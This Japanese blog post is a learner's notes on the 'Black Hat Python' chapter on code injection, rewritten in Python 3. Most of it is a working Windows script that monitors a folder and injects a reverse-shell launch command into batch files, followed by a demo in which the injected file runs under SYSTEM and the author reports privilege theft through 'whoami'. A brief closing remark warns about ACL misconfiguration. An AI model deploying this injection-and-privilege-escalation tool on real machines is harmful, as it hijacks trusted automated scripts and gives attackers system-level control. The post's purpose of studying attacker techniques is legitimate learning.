Engineering Note

プログラミングなどの技術的なメモ

10.5 コードインジェクション (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)

本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。 

今回は、前回で学んだファイル変更を検知する方法を応用したコードインジェクションの方法について学んでいきます。

 

 

コードインジェクションとは

前回まででWindowsのプロセスや権限などについて、簡単に学んできました。

 

 

 

上記で取得できる情報を元に、日々実行される自動化されたスクリプトファイルを監視し、もしそのスクリプトファイルに悪意のあるコードを追加し、実行させることができれば、そのスクリプトが持つ権限で様々なことができるようになります。

このようなことをインジェクション攻撃(Injection attack)と呼びます。

 

Pythonでコードインジェクションをする

以下が今回作成するスクリプトとなります。

 

# code_injection.py
import tempfile
import threading
import win32file
import win32con
import os, sys

dirs_to_monitor = ["test"]

FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

file_types = {}

command = "python bh_sshRcmd.py 127.0.0.1 8000"

file_types[".bat"] = ["\r\nREM bhpmarker\r\n", "\r\n{}\r\n".format(command)]

def inject_code(full_filename, extention, contents):
    if file_types[extention][0].strip().encode('utf-8') in contents:
        return
    full_contents = file_types[extention][0].encode('utf-8')
    full_contents += file_types[extention][1].encode('utf-8')
    full_contents += contents

    with open(full_filename, "wb") as f:
        f.write(full_contents)
    print("[\o/] Injected code.")
    return

def start_monitor(path_to_watch):
    FILE_LIST_DIRECTORY = 0x0001
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None)
    while True:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_SIZE |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None)
            for action, file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)

                if action == FILE_CREATED:
                    print("[ + ] Created {}".format(full_filename))
                elif action == FILE_DELETED:
                    print("[ - ] Deleted {}".format(full_filename))
                elif action == FILE_MODIFIED:
                    print("[ * ] Modified {}".format(full_filename))

                    print("[vvv] Dumping contents...")
                    try:
                        with open(full_filename, "rb") as f:
                            contents = f.read()
                        print(contents)
                        print("[^^^] Dump complete.")
                    except:
                        print("[!!!] Failed.")
                    filename, extention = os.path.splitext(full_filename)
                    if extention in file_types:
                        inject_code(full_filename, extention, contents)

                elif action == FILE_RENAMED_FROM:
                    print("[ > ] Renamed from: {}".format(full_filename))
                elif action == FILE_RENAMED_TO:
                    print("[ < ] Renamed to: {}".format(full_filename))
                else:
                    print("[???] Unknown: {}".format(full_filename))

        except:
            pass

for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor, args=[path])
    print("Spawning monitoring thread for path: {}".format(path))
    monitor_thread.start()

 

動作確認

それでは、上記で作成したプロセスを実行してみます。

今回は前回に作成したリバースシェル型のTCPクライアントを実行するコマンドをバッチファイルに書き込み、実行させるようにします。

 

 

まずSSHサーバとコードインジェクション用のスクリプトをそれぞれ別のターミナルから起動させます。

 

 # Terminal1
 > python bh_sshserver.py 127.0.0.1 8000
 [+] Listening for connection ...

 # Terminal2
 > python code_injection.py
 Spawning monitoring thread for path: test

 

次にSYSTEM権限でスクリプトを実行させたいので、一時的にコマンドプロンプトの権限を変更させます。

MicrosoftTechNetからPsExecというスクリプトがダウンロードできるので、こちらを使ってコマンドプロンプトを起動します。

 

 

PsExecをダウンロード後にパスを通すか、ダウンロードしたフォルダから以下のコマンドを実行します。

 

 > PsExec.exe -i -s Cmd

 

上記コマンドを実行すると、SYSTEM権限でコマンドプロンプトが起動しますので、監視対象のtestフォルダにバッチファイルを作成し、今回は手動でバッチファイルを実行します。

 

 > echo "" > test.bat
 > type test.bat

 REM bhpmarker

 python bh_sshRcmd.py 127.0.0.1 8000
 ""

 > test.bat
 > REM bhpmarker
 > python bh_sshRcmd.py 127.0.0.1 8000
 Welcome to bh_ssh

 

コードインジェクションを実行するスクリプト側では、以下のログが確認できます。

 

 [ + ] Created test\test.bat
 [ * ] Modified test\test.bat
 [vvv] Dumping contents...
 b'"" \r\n'
 [^^^] Dump complete.
 [\o/] Injected code.
 [ * ] Modified test\test.bat
 [vvv] Dumping contents...
 b'\r\nREM bhpmarker\r\n\r\npython bh_sshRcmd.py 127.0.0.1 8000\r\n"" \r\n'
 [^^^] Dump complete.
 [ * ] Modified test\test.bat
 [vvv] Dumping contents...
 b'\r\nREM bhpmarker\r\n\r\npython bh_sshRcmd.py 127.0.0.1 8000\r\n"" \r\n'
 [^^^] Dump complete.

 

バッチファイルが問題なく実行されるとリッスン状態のサーバとのコネクションが作成されますので、サーバ側から以下コマンドを実行します。

 

 [+] Got a connection!
 [+] Authenticated!
 ClientConnected
 Enter command: whoami
 nt authority\system

 Enter command: exit
 exiting
 [-] Caught exception: exit

 

"whoami"コマンドを実行するとSYSTEM権限で実行されていることが確認できるので、これで権限の奪取に成功しました。

 

最後に

今回は特定のファイルにコードインジェクションを実行する方法について学びました。

スクリプトによる自動化は、煩わしい作業を一括で実行してくれるためとても便利ですが、ACLや権限の設定を一歩間違えると脆弱性を持った危険なものに変貌してしまいますので、取り扱いには注意が必要です。

 

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考